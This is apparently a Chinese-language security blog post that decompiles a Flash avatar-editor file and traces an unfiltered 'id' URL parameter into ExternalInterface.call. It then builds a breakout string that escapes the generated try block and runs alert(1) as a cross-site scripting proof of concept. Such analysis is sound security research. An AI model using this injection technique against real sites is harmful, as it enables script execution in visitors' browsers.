flash确实是一个快要过气的技术,但安全问题仍然不容小视,今天刚好遇到一个案例,简单记录一下分析过程。
首先把flash文件下载下来,然后反编译出源码,首先看了main
方法下的init
:
removeEventListener(Event.ADDED_TO_STAGE,this.init);
Security.allowDomain("*");
stage.align = StageAlign.TOP_LEFT;
stage.scaleMode = StageScaleMode.NO_SCALE;
stage.quality = StageQuality.BEST;
DisplayObjects.stage = stage;
P.CopyFrom(loaderInfo.parameters);
if(P.src_url)
{
P.tab_active = "upload";
}
比较关键的是P.CopyFrom(loaderInfo.parameters);
这个语句从url中获取参数并且传到P.copyForm
函数中,跟进这个函数:
public static function CopyFrom(param1:Object) : void
{
var _loc9_:String = null;
var _loc10_:Array = null;
var _loc11_:* = null;
id = !!param1.hasOwnProperty("id")?param1["id"]:"fullAvatarEditor";
upload_url = !!param1["upload_url"]?decodeURIComponent(param1["upload_url"]):null;
···
这里省略一万字,反正就是取值赋值并且几乎没有任何过滤
···
现在已经知道所有的参数都传到了P
中,调取方法是:P.*
,比如P.id
。
我们知道在flash中调用js方法用ExternalInterface.call
,所以我们只需要全局查找这个方法即可。
最终在Message
类中找到了如下方法:
public function send() : void
{
if(ExternalInterface.available)
{
try
{
ExternalInterface.call("swfobject.getObjectById("" + P.id + "").eventHandler(" + com.adobe.serialization.json.JSON.encode(this) + ")");
return;
}
catch(e:Error)
{
return;
}
}
}
可以看到获取了P.id
并且传入了ExternalInterface.call
,我们先来在firefox中测试下用双引号闭合前面的swfobject.get
方法,看会不会报错:
成功报错,然后我们来构造语句来alert数据。
首先我们知道ExternalInterface.call
在浏览器底层大概会解析成如下js语句来执行:
try { __flash__toXML(console.log("good" )) ; } catch (e) { ""; }
其中的console.log("good")
是ExternalInterface.call
传入的值。
带到我们这里大概是这样的:
ExternalInterface.call("swfobject.getObjectById("" + P.id + "").eventHandler(" + com.adobe.serialization.json.JSON.encode(this) + ")");
所以我们构造出如下语句:
try{__flash__toXML(swfobject.getObjectById("aaa"))}catch(e){alert(1)}//").eventHandler(“123”));} catch(e){“
利用两个括号,一个花括号逃出try语句,然后执行进入catch中,执行我们的alert(1)
所以我们在浏览器中访问,带上加粗的语句:
至此,一个Flash XSS构成。